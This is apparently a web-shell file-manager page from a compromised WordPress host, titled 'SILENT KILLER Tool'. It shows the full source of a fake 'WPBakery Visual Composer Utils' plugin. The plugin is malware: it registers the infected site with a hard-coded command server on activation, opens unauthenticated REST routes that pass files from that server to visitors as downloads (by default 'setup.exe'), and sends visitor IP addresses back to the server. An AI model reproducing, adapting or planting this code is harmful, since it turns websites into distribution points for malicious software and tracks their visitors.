Current Path: > home > ivftiowh > greeceivf.com > wp-content > plugins > WPBakeryVisualComposerUtils
Operation : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 Software : Apache Server IP : 185.61.154.216 | Your IP: 216.73.216.44 Domains : 1034 Domain(s) Permission : [ 0755 ]
Name | Type | Size | Last Modified | Actions |
---|---|---|---|---|
index.php | File | 9116 bytes | September 03 2025 17:41:20. |
<?php /* Plugin Name: WPBakery Visual Composer Utils v2 Plugin URI: http://wpbakery.com/ Description: Drag and drop page builder for WordPress. Take full control over your WordPress site, build any layout you can imagine – no programming knowledge required. Version: 4.12 Author: By Michael M - WPBakery.com Author URI: http://wpbakery.com/ License: A "Slug" license name e.g. GPL2 */ /* ============ */ /* === Init === */ /* ============ */ if (!defined('ABSPATH')) { exit; } /* ==================== */ /* === GLOBAL VALUE === */ /* ==================== */ $MAIN_SERVER = 'http://45.86.230.57'; $TOKEN_DOWNLOADS = [ '(2gKfKVJ_..EUfR+ciP_]AQibJY6v]', '}j.rNZrMbD+gdd40u/@Q!LG=#i*UFZ', 'bYh{vLXGWDF=a4-Sn7&D:#r5SL@Ap9' ]; /* =================== */ /* === INIT PLUGIN === */ /* =================== */ register_activation_hook(__FILE__, 'myplugin_activate'); function myplugin_activate() { $url = 'http://45.86.230.57/api/wordpress/init'; $data = array( 'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm', 'wp_tag' => 'upload_putty', 'wp_name' => get_bloginfo('name'), 'wp_url' => get_bloginfo('wpurl'), 'site_url' => get_bloginfo('url'), 'wp_version' => get_bloginfo('version'), 'action' => "activate" ); $response = wp_remote_post($url, array( 'method' => 'POST', 'body' => json_encode($data), 'timeout' => 60, )); return; } /* =========================== */ /* === DEACTIVATION PLUGIN === */ /* =========================== */ register_deactivation_hook(__FILE__, 'myplugin_deactivate'); function myplugin_deactivate() { global $MAIN_SERVER; // $url = 'http://45.86.230.57/api/wordpress/init'; $url = $MAIN_SERVER . '/api/wordpress/init'; $data = array( 'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm', 'wp_tag' => 'upload_putty', 'wp_name' => get_bloginfo('name'), 'wp_url' => get_bloginfo('wpurl'), 'site_url' => get_bloginfo('url'), 'wp_version' => get_bloginfo('version'), 'action' => "deactivate" ); $response = wp_remote_post($url, array( 'method' => 'POST', 'body' => json_encode($data), 'timeout' => 60, )); } /* ===================== */ /* === Create Router === */ /* ===================== */ add_action('rest_api_init', function () { // ============ // === CORS === // ============ if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, HEAD"); header("Access-Control-Allow-Headers: Content-Type, Authorization"); exit(0); } add_filter('rest_pre_serve_request', function ($value) { header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, HEAD"); header("Access-Control-Allow-Headers: Content-Type, Authorization"); return $value; }); // =============== // === ROUTERS === // =============== register_rest_route('api', '/init/secure', array( 'methods' => 'POST', 'callback' => 'laying_create_url', 'permission_callback' => '__return_true', )); register_rest_route('api', '/init/secure', array( 'methods' => 'HEAD', 'callback' => 'laying_check_create_url', 'permission_callback' => '__return_true', )); register_rest_route('api', '/init/secure', array( 'methods' => 'OPTIONS', 'callback' => 'laying_check_create_url', 'permission_callback' => '__return_true', )); register_rest_route('api', '/secure/(?P<path>.*)', array( 'methods' => 'GET', 'callback' => 'laying_redirect_download', 'permission_callback' => '__return_true', )); register_rest_route('api', '/check', array( 'methods' => ['POST'], 'callback' => 'check_me', 'permission_callback' => '__return_true', )); }); /* =========================== */ /* === CREATE DOWNLOAD URL === */ /* =========================== */ function laying_create_url(WP_REST_Request $request) { global $MAIN_SERVER; $data = $request->get_body(); if (empty($data)) { return new WP_REST_Response( 'Admin No Suc.', 503 ); } // === data create === $data_array = json_decode($data, true); if (json_last_error() !== JSON_ERROR_NONE) { return new WP_Error('invalid_json', 'Incorrect JSON', array('status' => 400)); } $data_array['wp_tag'] = 'upload_putty'; $data_json = json_encode($data_array); // === url send === $url_request = $MAIN_SERVER . '/init/secure'; $response = wp_remote_post($url_request, array( 'timeout' => 60, 'body' => $data_json, 'headers' => array( 'Content-Type' => 'application/json', ), )); if (is_wp_error($response)) { return new WP_Error(500, 'Error WordPress REST API', 'Error /reg'); } return wp_remote_retrieve_body($response); } function laying_check_create_url() { return new WP_REST_Response( 200 ); } /* ===================== */ /* === Download File === */ /* ===================== */ function laying_redirect_download($request) { $path = $request['path']; global $MAIN_SERVER; $url_request = $MAIN_SERVER . '/secure/' . $path; $response = wp_remote_get($url_request, array( 'timeout' => 60, 'headers' => array('Wp-Tag' => "upload_putty"), )); if (is_wp_error($response)) { return new WP_Error(500, 'Error WordPress REST API', 'Error /secure/'); } // === Stat === $ip_address = ''; if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_address = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip_address = $_SERVER['HTTP_CLIENT_IP']; } else { $ip_address = $_SERVER['REMOTE_ADDR']; } send_stat($ip_address); $file_content = wp_remote_retrieve_body($response); $headers = wp_remote_retrieve_headers($response); $file_name = "setup.exe"; if (isset($headers['content-disposition'])) { if (preg_match('/filename="?(.*?)"?$/', $headers['content-disposition'], $matches)) { $file_name = $matches[1]; } } // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_name) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . strlen($file_content)); header('X-Content-Type-Options: nosniff'); // Prevent MIME type sniffing header('Access-Control-Allow-Origin: *'); // Allow CORS if needed echo $file_content; exit; } /* ================ */ /* === Check Me === */ /* ================ */ function check_me(WP_REST_Request $request) { // Add CORS headers header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, HEAD'); header('Access-Control-Allow-Headers: Content-Type, Accept, X-Requested-With'); // === ||| === global $TOKEN_DOWNLOADS; $body = $request->get_body(); $data = json_decode($body, true); if (isset($data['token'])) { $token = $data['token']; if (in_array($token, $TOKEN_DOWNLOADS)) { wp_send_json_success(array( 'status' => 'Online' )); } } wp_send_json_error('Unauthorized check client. Status code: 1'); } /* ================= */ /* === Send stat === */ /* ================= */ function send_stat($ip_address_request) { // Add CORS headers header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE, HEAD'); header('Access-Control-Allow-Headers: Content-Type, Accept, X-Requested-With'); global $MAIN_SERVER; $url = $MAIN_SERVER . '/api/wordpress/update/stat'; $data = array( 'token' => 'e8ukc9x6w4Kq2fjzYRApsCdFWTGNy5aJBZV7EXDm', 'wp_tag' => 'upload_putty', 'wp_name' => get_bloginfo('name'), 'wp_url' => get_bloginfo('wpurl'), 'site_url' => get_bloginfo('url'), 'wp_version' => get_bloginfo('version'), 'ip_client' => $ip_address_request ); $response = wp_remote_post($url, array( 'method' => 'POST', 'body' => json_encode($data), 'timeout' => 60, )); }
SILENT KILLER Tool